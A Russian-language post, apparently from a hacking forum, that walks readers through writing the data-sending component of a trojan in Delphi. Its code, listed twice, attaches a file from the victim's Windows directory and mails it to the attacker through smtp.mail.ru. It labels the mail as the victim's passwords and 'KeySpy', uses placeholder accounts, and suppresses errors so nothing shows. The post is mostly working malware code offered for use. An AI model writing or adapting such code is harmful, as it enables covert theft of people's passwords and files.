На Ачате стали появляться статьи по кодингу, и я, будучи программистом, тоже захотел внести свою лепту в развитие этого раздела. Нет, я не буду объяснять вам, как сделать программу погони за бешенной кнопкой, я думаю, что эта тема очень отдаленно связана с хакингом. Сегодня я хочу рассказать о написании трояна - вернее, части трояна. Впрочем, созданную тулзу вы сможете вполне использовать и в мирных целях. И так, давайте напишем нечто вроде почтового клиента. Я думаю, не стоит объяснять, что многие трояны высылают каким-либо образом найденную информацию на мыло своему создателю. Сначала зарегим мыло на mail'е. Этот ящик потребуется нам для отправки писем. Давайте приступим к написанию проги. Вынесем на форму компоненты IdSMTP и IdMessage (вкладки Indy Clients и Indy Misc). Создадим процедуру отправки письма. Назовем ее SendMail:
procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment; //это - аттач письма
Мы объявили переменные, теперь создаемся:
begin //Ну начинаем

LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
Отлично, пора приступать к написанию письма))
with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '11111111@yandex.ru' ; // куда будет послано письмо...я пишу жене и дочке, точка.
From.Text := '2222222@mail.ru'; //Зареганное мыло на мейле.
Body.Add('Текст письма');
x:=TIdAttachment.Create(LMsg.MessageParts,'Пут к файлу аттача'); //аттач письма
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='2222222@mail.ru' ; //зареганное мыло на мейле
Password :='lol' ; //пароль к зареганному мылу на мейле
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
Строчки
try
Connect;
Send(LMsg);
except
добавленны для того, чтобы, если нет соединения с нетом, не вылетала ошибка (Конструкция try ... exept).
Вот, собственно, и все. Вот полный листинг проги:
procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment;
windir: array [0..255] of char;//Обьявлям переменные.
begin //Ну начинаем

LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '1111111@yandex.ru' ; // куда будет послано письмо
From.Text := '22222222@mail.ru'; //От кудыкина будет письмо
Body.Add('KeySpy');
x:=TIdAttachment.Create(LMsg.MessageParts,windir+' путь');
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='22222222@mail.ru' ;
Password :='loxi' ;
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
Просьба заценить статью.